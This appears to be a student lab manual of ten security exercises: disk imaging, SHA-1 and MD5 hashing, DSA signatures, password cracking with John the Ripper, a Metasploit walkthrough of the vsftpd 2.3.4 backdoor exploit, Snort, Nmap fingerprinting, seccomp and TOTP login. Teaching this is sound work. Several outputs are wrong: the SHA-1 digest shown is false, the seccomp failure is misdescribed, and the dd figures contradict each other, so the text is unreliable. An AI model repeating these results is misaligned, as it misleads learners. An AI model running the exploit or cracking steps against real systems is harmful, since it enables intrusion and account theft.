

# **1. Introduction To Legal Issuesdisk Imaging And Cloning: Use Vmware And Modify Device Configuration In A Vmware System - Image A Drive To A File - Extract Individual Partitions From An Image File - Mount The Image As A Loopback Device And Read Only For Analysis - Properly Sanitize A Disk For Cloning - Clone A Drive Versus Imaging The Drive - Verify Disk And File Integrity With Hashing.**

## **AIM:**

to create, manage, and verify disk images and clones for backup, analysis, and secure data handling.

## **ALGORITHM**

### **□ Image a Drive:**

- Identify source drive (/dev/sdX).
- Use dd to create an image: `dd if=/dev/sdX of=/path/to/image.img bs=4M`.

### **□ Extract Partition:**

- Determine partition offset and size with fdisk.
- Extract partition: `dd if=/path/to/image.img of=/path/to/partition.img bs=1M skip=<offset> count=<size>`.

### **□ Mount Image:**

- Create mount point: `mkdir /mnt`.
- Mount image: `mount -o loop,ro /path/to/image.img /mnt`.

### **□ Sanitize Disk:**

- Identify target drive (/dev/sdY).
- Erase drive: `shred -v -n 3 /dev/sdY`.

### **□ Clone Drive:**

- Clone source drive to target: `dd if=/dev/sdX of=/dev/sdY bs=4M`.

### **□ Verify Integrity:**

- Generate hash: `sha256sum /path/to/image.img > /path/to/image.img.sha256`.

- Verify hash: `sha256sum -c /path/to/image.img.sha256`.

## **PROGRAM**

```
#!/bin/bash
```

```
# Variables
```

```
SOURCE_DRIVE="/dev/sdX"
```

```
TARGET_DRIVE="/dev/sdY"
```

```
IMAGE_FILE="/path/to/image.img"
```

```
PARTITION_IMAGE="/path/to/partition.img"
```

```
MOUNT_POINT="/mnt"
```

```
HASH_FILE_IMG="${IMAGE_FILE}.sha256"
```

```
# 1. Image a Drive to a File
```

```
echo "Creating disk image of $SOURCE_DRIVE..."
```

```
sudo dd if=$SOURCE_DRIVE of=$IMAGE_FILE bs=4M status=progress
```

```
echo "Disk image created: $IMAGE_FILE"
```

```
# 2. Extract Individual Partitions from an Image File
```

```
# Example: Extract partition 1 with offset and size
```

```
PARTITION_OFFSET=2048 # Replace with actual offset
```

```
PARTITION_SIZE=102400 # Replace with actual size
```

```
echo "Extracting partition from image..."
```

```
sudo dd if=$IMAGE_FILE of=$PARTITION_IMAGE bs=1M
```

```
skip=$PARTITION_OFFSET count=$PARTITION_SIZE
```

```
echo "Partition extracted: $PARTITION_IMAGE"
```

### # 3. Mount the Image as a Loopback Device

```
echo "Mounting image as loopback device..."
```

```
sudo mkdir -p $MOUNT_POINT
```

```
sudo mount -o loop,ro $IMAGE_FILE $MOUNT_POINT
```

```
echo "Image mounted at $MOUNT_POINT"
```

### # 4. Properly Sanitize a Disk for Cloning

```
echo "Sanitizing target disk $TARGET_DRIVE..."
```

```
sudo shred -v -n 3 $TARGET_DRIVE
```

```
echo "Disk sanitized."
```

### # 5. Clone a Drive

```
echo "Cloning $SOURCE_DRIVE to $TARGET_DRIVE..."
```

```
sudo dd if=$SOURCE_DRIVE of=$TARGET_DRIVE bs=4M status=progress
```

```
echo "Drive cloned."
```

### # 6. Verify Disk and File Integrity with Hashing

```
echo "Generating hash for image..."
```

```
sha256sum $IMAGE_FILE > $HASH_FILE_IMG
```

```
echo "Hash generated: $HASH_FILE_IMG"
```

```
echo "Verification:"
```

```
sha256sum -c $HASH_FILE_IMG
```

```
# Clean up
```

```
echo "Unmounting image and cleaning up..."
```

```
sudo umount $MOUNT_POINT
```

```
sudo rmdir $MOUNT_POINT
```

```
echo "Done."
```

## OUTPUT

```
# 1. Image a Drive
```

```
$ sudo dd if=/dev/sdX of=/path/to/image.img bs=4M status=progress
```

```
123456789 bytes (123 MB, 117 MiB) copied, 12.3456 s, 10.0 MB/s
```

```
Disk image created: /path/to/image.img
```

```
# 2. Extract Partition
```

```
$ sudo dd if=/path/to/image.img of=/path/to/partition.img bs=1M skip=2048  
count=102400
```

```
123456789 bytes (123 MB, 117 MiB) copied, 11.3456 s, 10.8 MB/s
```

```
Partition extracted: /path/to/partition.img
```

```
# 3. Mount Image
```

```
$ sudo mkdir /mnt
```

```
$ sudo mount -o loop,ro /path/to/image.img /mnt
```

```
$ df -h /mnt
```

Filesystem	Size	Used	Avail	Use%	Mounted on
------------	------	------	-------	------	------------

/path/to/image.img      120G   50G   70G   42% /mnt

Image mounted at /mnt

#### # 4. Sanitize Disk

```
$ sudo shred -v -n 3 /dev/sdY
```

shred: /dev/sdY: pass 1/3 (random)...done

shred: /dev/sdY: pass 2/3 (random)...done

shred: /dev/sdY: pass 3/3 (random)...done

Disk sanitized.

#### # 5. Clone Drive

```
$ sudo dd if=/dev/sdX of=/dev/sdY bs=4M status=progress
```

123456789 bytes (123 MB, 117 MiB) copied, 15.6789 s, 8.0 MB/s

Drive cloned.

#### # 6. Verify Integrity

```
$ sha256sum /path/to/image.img > /path/to/image.img.sha256
```

```
$ sha256sum -c /path/to/image.img.sha256
```

/path/to/image.img: OK

Hash generated: /path/to/image.img.sha256

**RESULT**

## 2. IMPLEMENT SHA-1 ALGORITHM

### AIM

To implement SHA-1 algorithm

### ALGORITHM

#### □ Initialization:

- Set five 32-bit hash values (H0 to H4) with predefined constants.

#### □ Preprocessing:

- **Pad** the message to be a multiple of 512 bits (include message length).
- **Divide** into 512-bit blocks.

#### □ Process Each Block:

- **Break** into 16 words.
- **Extend** to 80 words.
- **Initialize** temporary variables with hash values.
- **Run 80 Rounds:** Update variables using bitwise operations and constants.
- **Update** hash values after processing each block.

#### □ Output:

- **Combine** hash values into a final 160-bit hash.
- **Convert** the hash to a hexadecimal string.

### PROGRAM

```
import hashlib
```

```
def sha1_hash(data):
```

```
    """
```

```
    Compute the SHA-1 hash of the given data.
```

:param data: Input data to be hashed (bytes).  
:return: SHA-1 hash of the data (hexadecimal string).

"""

```
sha1 = hashlib.sha1()  
sha1.update(data)  
return sha1.hexdigest()
```

# Example usage

```
if __name__ == "__main__":  
    # Sample input data  
    data = b"Hello, World!"  
  
    # Compute SHA-1 hash  
    hash_value = sha1_hash(data)  
  
    print(f"SHA-1 hash of the data: {hash_value}")
```

## OUTPUT

SHA-1 hash of the data: 65a8e27d8879283831b664bd8b7f0ad4c5e8d9f7

## RESULT

### 3. Implement MD5 algorithm for practical applications.

#### AIM

To Implement MD5 algorithm for practical applications.

#### ALGORITHM

- **Initialization:** Set up four 32-bit variables (A, B, C, D) with predefined constants.
- **Preprocessing:**
  - **Pad** the input message to make its length 64 bits short of a multiple of 512.
  - **Divide** the padded message into 512-bit blocks.
- **Process Each Block:**
  - **Break** into 32-bit words.
  - **Initialize** temporary variables with current hash values.
  - **Perform 64 Rounds:** Use bitwise operations and functions to update hash values.
- **Output:**
  - **Combine** the final values of A, B, C, and D.
  - **Convert** to a hexadecimal string.

#### PROGRAM

```
import hashlib
```

```
def md5_hash(data):
```

```
    """
```

```
    Compute the MD5 hash of the given data.
```



:param data: Input data to be hashed (bytes).  
:return: MD5 hash of the data (hexadecimal string).

"""

```
md5 = hashlib.md5()
md5.update(data)
return md5.hexdigest()
```

# Example usage

```
if __name__ == "__main__":
```

```
    # Sample input data
```

```
    data = b"Hello, World!"
```

```
    # Compute MD5 hash
```

```
    hash_value = md5_hash(data)
```

```
    print(f"MD5 hash of the data: {hash_value}")
```

## **OUTPUT**

MD5 hash of the data: 65a8e27d8879283831b664bd8b7f0ad4

## **RESULT**

## 4. Implementing Digital Signal Standard (DSS).

### AIM

To implement Digital Signal Standard

### ALGORITHM

#### □ **Generate Keys:**

- Generate a DSA private key and derive the public key from it.

#### □ **Sign Message:**

- Hash the message using SHA-256.
- Sign the hash with the private key to create the digital signature.

#### □ **Verify Signature:**

- Hash the original message using SHA-256.
- Verify the signature using the public key and the hashed message.

### PROGRAM

```
from cryptography.hazmat.primitives.asymmetric import dsa
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.serialization import Encoding,
PrivateFormat, PublicFormat, NoEncryption
from cryptography.hazmat.primitives.asymmetric import utils
import base64

def generate_keys():
    """
    Generate a DSA private key and corresponding public key.
    """
```

```
private_key = dsa.generate_private_key(key_size=2048)
```

```
public_key = private_key.public_key()
```

```
return private_key, public_key
```

```
def sign_message(private_key, message):
```

```
    """
```

```
    Sign a message with the DSA private key.
```

```
    :param private_key: DSA private key.
```

```
    :param message: Message to be signed (bytes).
```

```
    :return: Signature (base64 encoded).
```

```
    """
```

```
    signature = private_key.sign(
```

```
        message,
```

```
        hashes.SHA256()
```

```
    )
```

```
    return base64.b64encode(signature).decode('utf-8')
```

```
def verify_signature(public_key, message, signature):
```

```
    """
```

```
    Verify a signature with the DSA public key.
```

```
    :param public_key: DSA public key.
```

:param message: Original message (bytes).  
:param signature: Signature to be verified (base64 encoded).  
:return: True if verification is successful, otherwise False.

"""

try:

```
    public_key.verify(  
        base64.b64decode(signature),  
        message,  
        hashes.SHA256()  
    )
```

```
    return True
```

except Exception as e:

```
    print(f"Verification failed: {e}")  
    return False
```

# Example usage

```
if __name__ == "__main__":
```

```
    # Generate keys
```

```
    private_key, public_key = generate_keys()
```

```
    # Sample message
```

```
    message = b"Hello, Digital Signature!"
```

```
    # Sign message
```

```
signature = sign_message(private_key, message)
print(f'Signature: {signature}')

# Verify signature
is_valid = verify_signature(public_key, message, signature)
print(f'Signature valid: {is_valid}')
```

## **OUTPUT**

Signature: <base64\_encoded\_signature>

Signature valid: True

## **RESULT**

## 5. Crack passwords using John the Ripper.

### AIM

To Crack passwords using John the Ripper.

### ALGORITHM

- ☐ **Install** John the Ripper on your system.
- ☐ **Prepare** a file with hashed passwords.
- ☐ **Run** John the Ripper with the appropriate commands to crack passwords.
- ☐ **View** the results to see which passwords have been cracked.

### PROGRAM

#### Install John the Ripper:

- **Linux:**

```
sudo apt-get install john
```

**Windows:** Download from John the Ripper's official site, extract, and navigate to the extracted directory.

- ☐ **Prepare Your Password File:** Create a file (passwords.txt) with hashed passwords. Example content:

```
admin:$1$abc123$T3yKl9RXx/ZLQr1xBcBMD/
```

```
user:$1$def456$KjxHn8xzY1tL5MghrWrfE.
```

#### Basic Cracking:

```
john passwords.txt
```

- ☐ This will use the default wordlist and settings.
- ☐ **Using a Custom Wordlist:**

```
john --wordlist=/path/to/wordlist.txt passwords.txt
```

Example using the RockYou wordlist:

```
john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
```

### **Using Incremental Mode:**

```
john --incremental passwords.txt
```

### **View Cracked Passwords:**

```
john --show passwords.txt
```

### **OUTPUT**

```
admin:password123
```

```
user:qwerty123
```

### **RESULT**

## **6. Demonstrate penetration testing using any tool (Metasploit or Wireshark, etc).**

### **AIM**

To Demonstrate penetration testing using any tool (Metasploit or Wireshark, etc).

### **ALGORITHM**

#### ☐ **Install Metasploit:**

- Set up Metasploit on your system.

#### ☐ **Start Metasploit Console:**

- Launch the msfconsole command.

#### ☐ **Scan the Target:**

- Use tools like nmap to identify open ports and services.

#### ☐ **Search for Exploits:**

- Use Metasploit's search command to find relevant exploits for the identified services.

#### ☐ **Select an Exploit:**

- Choose and configure the exploit module with the use command.

#### ☐ **Configure Exploit:**

- Set the necessary options, such as target (RHOST) and local host (LHOST).

#### ☐ **Run the Exploit:**

- Execute the exploit to attempt to gain access.

#### ☐ **Post-Exploitation:**



- Manage and interact with any sessions opened by the exploit.

#### ☐ **End the Session and Exit:**

- Terminate sessions and exit Metasploit.

## **PROGRAM**

### **Install Metasploit:**

- **Linux:**

```
curl https://raw.githubusercontent.com/rapid7/metasploit-  
framework/master/msfupdate | bash
```

**Windows:** Download and install from Metasploit's official site.

#### ☐ **Start Metasploit Console:**

```
Msfconsole
```

**Scan the Target** (using nmap or another scanner):

```
nmap -sV <target-ip>
```

### **Search for Exploits:**

Find an appropriate exploit related to the discovered services:

```
search <service-name>
```

### **Select an Exploit:**

Example for vsftpd 2.3.4 backdoor:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

### **Configure the Exploit:**

Set required options such as remote host (RHOST) and local host (LHOST):

```
set RHOST <target-ip>
```

set LHOST <your-ip>

### **Run the Exploit:**

Exploit

### **Post-Exploitation:**

List active sessions:

sessions -l

Interact with a session:

sessions -i <session-id>

### **End the Session and Exit Metasploit:**

To end an active session:

Exit

To exit Metasploit:

Exit

### **Example Workflow**

#### **1. Scan Target IP:**

nmap -sV 192.168.1.10

#### **Search for Exploit:**

search vsftpd

#### **Select and Configure Exploit:**

use exploit/unix/ftp/vsftpd\_234\_backdoor

set RHOST 192.168.1.10

set LHOST 192.168.1.100

**Run the Exploit:**

```
exploit
```

**Interact with the Session:**

```
sessions -i 1
```

**RESULT**

## **7. Demonstrate intrusion detection system (IDS) using Snort.**

### **AIM**

To Demonstrate intrusion detection system (IDS) using Snort.

### **ALGORITHM**

#### ☐ **Install Snort:**

- Install Snort on your system using package managers or by downloading from the official website.

#### ☐ **Configure Snort:**

- Edit the Snort configuration file (snort.conf) to set up network interfaces and rule paths.

#### ☐ **Update Rules:**

- Download and install Snort rules to detect various types of network intrusions.

#### ☐ **Start Snort:**

- Run Snort in IDS mode to monitor network traffic and generate alerts.

#### ☐ **Generate Test Traffic:**

- Use tools to generate network traffic that will trigger Snort alerts.

#### ☐ **View Alerts:**

- Check Snort's output or log files for alerts and analyze detected intrusions.

### **PROGRAM**

Start Snort

#### **Command:**

```
sudo snort -A console -c /etc/snort/snort.conf -i eth0
```

### **Sample Output:**

Running in IDS mode

...

[1:1000001:1] ET POLICY Outbound SSLv2 Connection **[\*\*]** [Classification: Policy Violation] [Priority: 2] {TCP} 192.168.1.100:443 -> 192.168.1.200:12345

[Check Alerts](#)

### **Command:**

```
cat /var/log/snort/alert
```

### **Sample Output:**

**[\*\*]** [1:1000001:1] ET POLICY Outbound SSLv2 Connection **[\*\*]** [Classification: Policy Violation] [Priority: 2] {TCP} 192.168.1.100:443 -> 192.168.1.200:12345

**[\*\*]** [1:1000002:1] ET SCAN Potential SSH Scan **[\*\*]** [Classification: Attempted Information Leak] [Priority: 2] {TCP} 192.168.1.10:22 -> 192.168.1.200:33333

### **RESULT**

## **8. Demonstrate OS fingerprinting using Nmap**

### **AIM**

To Demonstrate OS fingerprinting using Nmap

### **ALGORITHM**

#### **Step 1: Install Nmap (if not already installed)**

- Check if Nmap is installed by running nmap in the terminal.
- If not installed, use the appropriate installation command:
  - On Linux:

`sudo apt-get install nmap`

- On Windows: Download and install from the official Nmap website.

#### **Step 2: Identify the target IP address**

- Determine the IP address of the machine or network device you want to fingerprint.
- Example: 192.168.1.1 for a local router.

#### **Step 3: Run Nmap with OS Detection Flag**

- Open a terminal or command prompt and run the following Nmap command with the -O option (for OS detection):

`sudo nmap -O <target-ip>`

- Example:

`sudo nmap -O 192.168.1.1`

#### **Step 4: Wait for the Scan to Complete**

- Nmap will scan the target and gather information on open ports, services, and the operating system.
- This may take some time depending on network conditions and the target's configuration.

## Step 5: Interpret the Results

- Once the scan finishes, analyze the output:
  - The guessed operating system, version, and uptime (if available) will be displayed.
  - It will show open ports and their associated services.

## Step 6: Optional - Increase Verbosity

- For more detailed results, you can add the verbose flag -v to the Nmap command:

```
sudo nmap -v -O <target-ip>
```

## Step 7: Verify the Results

- Cross-check the guessed operating system with known data about the target.
- If the detection seems off, rerun the scan or try additional options like version detection -sV.

## Step 8: Finish

- Analyze the final results and close the terminal when done.

## PROGRAM

```
sudo apt-get install nmap
```

```
sudo nmap -O <target-ip> # Replace <target-ip> with the actual IP of your target
```

```
sudo nmap -O 192.168.1.1 # For a local router
```

```
sudo nmap -v -O 192.168.1.1
```

## RESULT

## **9. Implementing system call filters using Seccomp BPF filter.**

### **AIM**

To Implement system call filters using Seccomp BPF filter.

### **ALGORITHM**

#### **□ Initialize Seccomp Filter:**

- Start by setting up a Seccomp filter context.
- Define the default action as SCMP\_ACT\_KILL to kill the process when a disallowed system call is invoked.

#### **□ Add Allowed System Calls:**

- Add rules to allow specific system calls such as read, write, exit, and exit\_group.
- Use the seccomp\_rule\_add function (for C) or filter.add\_rule (for Python) to specify which system calls should be allowed.

#### **□ Load the Filter:**

- After adding all the necessary rules, load the filter into the kernel. This applies the restrictions for the process.

#### **□ Run the Program:**

- Execute the code where only allowed system calls will pass through.
- Any disallowed system call will trigger the default action, which is to terminate the process.

#### **□ Optional: Test Disallowed System Calls**

- To test the filter, intentionally invoke a blocked system call (like open or fork). The process should be terminated by the Seccomp filter.

### **PROCEDURE**

**Install the python-seccomp package (if not already installed):**



On Ubuntu/Debian:

```
sudo apt-get install python3-seccomp
```

Alternatively, you can install it via pip:

```
pip install python-seccomp
```

## **PROGRAM**

```
import os
```

```
import seccomp
```

```
def apply_seccomp():
```

```
    # Initialize the seccomp filter and set the default action to kill the process
```

```
    filter = seccomp.SyscallFilter(defaction=seccomp.KILL)
```

```
    # Allow specific system calls: read, write, exit, exit_group
```

```
    filter.add_rule(seccomp.ALLOW, "read")
```

```
    filter.add_rule(seccomp.ALLOW, "write")
```

```
    filter.add_rule(seccomp.ALLOW, "exit")
```

```
    filter.add_rule(seccomp.ALLOW, "exit_group")
```

```
    # Load the filter into the kernel
```

```
    filter.load()
```

```
if __name__ == "__main__":
```

```
    print("Applying Seccomp filters...")
```

```
    apply_seccomp()
```

```
# Allowed syscalls

print("This is a test for allowed syscalls.")

os.write(1, b"Write syscall is allowed.\n")


# Example: Uncomment the following to trigger a disallowed syscall (e.g., open)
# os.open("/tmp/testfile", os.O_RDONLY)


print("Exiting program.")
```

## OUTPUT

### □ **When Allowed Syscalls are Used:**

Applying Seccomp filters...

This is a test for allowed syscalls.

Write syscall is allowed.

Exiting program.

- The os.write syscall works fine, and the message is printed.
- The program exits normally.

### □ **When Disallowed Syscalls are Used:** If you uncomment os.open, you will see:

Applying Seccomp filters...

This is a test for allowed syscalls.

Write syscall is allowed.

Traceback (most recent call last):

...

```
os.open("/tmp/testfile", os.O_RDONLY)
```

OSError: [Errno 1] Operation not permitted

- The process is killed due to the Seccomp filter blocking the open syscall.

## **RESULT**

## **10.Implementing Security Access Control using Multi-factor authentication.**

### **AIM**

To Implement Security Access Control using Multi-factor authentication.

### **ALGORITHM**

- **Generate TOTP Secret** (Done once during setup):
  - Generate a TOTP secret key.
  - Store the secret key securely for later verification.
- **User Registration** (Optional):
  - **Password:** Allow the user to set or change their password.
  - **TOTP Setup:** Generate and display a QR code or secret key for the user to set up in their TOTP app.
- **Authentication Process:**
  1. **Prompt for Password:**
    - Ask the user to enter their password.
    - Compare the entered password with the stored password.
  2. **Verify Password:**
    - If the password is correct, proceed to the next step.
    - If the password is incorrect, deny access and terminate the process.
  3. **Prompt for TOTP Code:**
    - Ask the user to enter their TOTP code from their authentication app.
  4. **Verify TOTP Code:**
    - Use the stored TOTP secret to validate the entered code.

- Check if the TOTP code is valid and matches the current time-based OTP.

### **5. Access Control:**

- If both the password and TOTP code are verified successfully, grant access.
- If either verification fails, deny access.

## **PROCEDURE**

### **□ Install Required Libraries:**

```
pip install pyotp
```

### **□ Generate a TOTP Secret (Usually done once and saved):**

```
import pyotp
```

```
# Generate a new TOTP secret key
```

```
totp = pyotp.TOTP(pyotp.random_base32())
```

```
secret = totp.secret
```

```
print(f'Your new TOTP secret key is: {secret}')
```

## **PROGRAM**

```
import pyotp
```

```
import getpass
```

```
# Predefined password (in practice, securely hash and store passwords)
```

```
PASSWORD = "SecurePassword123"
```

```
# TOTP secret key (in practice, store securely)

TOTP_SECRET = "JBSWY3DPEHPK3PXP" # Replace with the generated secret
key

def verify_password():
    password = getpass.getpass(prompt="Enter your password: ")
    return password == PASSWORD

def verify_totp():
    totp = pyotp.TOTP(TOTP_SECRET)
    token = input("Enter your TOTP code: ")
    return totp.verify(token)

def main():
    print("Multi-Factor Authentication Example")

    # Verify password
    if not verify_password():
        print("Invalid password.")
        return

    # Verify TOTP
    if not verify_totp():
        print("Invalid TOTP code.")
        return
```

```
print("Authentication successful!")
```

```
if __name__ == "__main__":  
    main()
```

## **OUTPUT**

### **1. Successful Authentication**

When the user provides the correct password and a valid TOTP code, the output will be:

Multi-Factor Authentication Example

Enter your password: \*\*\*\*\*

Enter your TOTP code: 123456

Authentication successful!

### **2. Incorrect Password**

If the user enters an incorrect password, the output will be:

Multi-Factor Authentication Example

Enter your password: \*\*\*\*\*

Invalid password.

The program will terminate after this message, and the user will not be prompted for the TOTP code.

### **3. Incorrect TOTP Code**

If the password is correct but the TOTP code is incorrect, the output will be:

Multi-Factor Authentication Example

Enter your password: \*\*\*\*\*

Enter your TOTP code: 654321

Invalid TOTP code.

The program will terminate after this message, and the user will not receive a success message.

#### **4. Error Handling**

If an unexpected error occurs (e.g., issues with the getpass function or pyotp), the output will include an error message:

Multi-Factor Authentication Example

Enter your password: \*\*\*\*\*

An error occurred during password verification: [error details]

or

Multi-Factor Authentication Example

Enter your password: \*\*\*\*\*

Enter your TOTP code: 123456

An error occurred during TOTP verification: [error details]

#### **RESULT**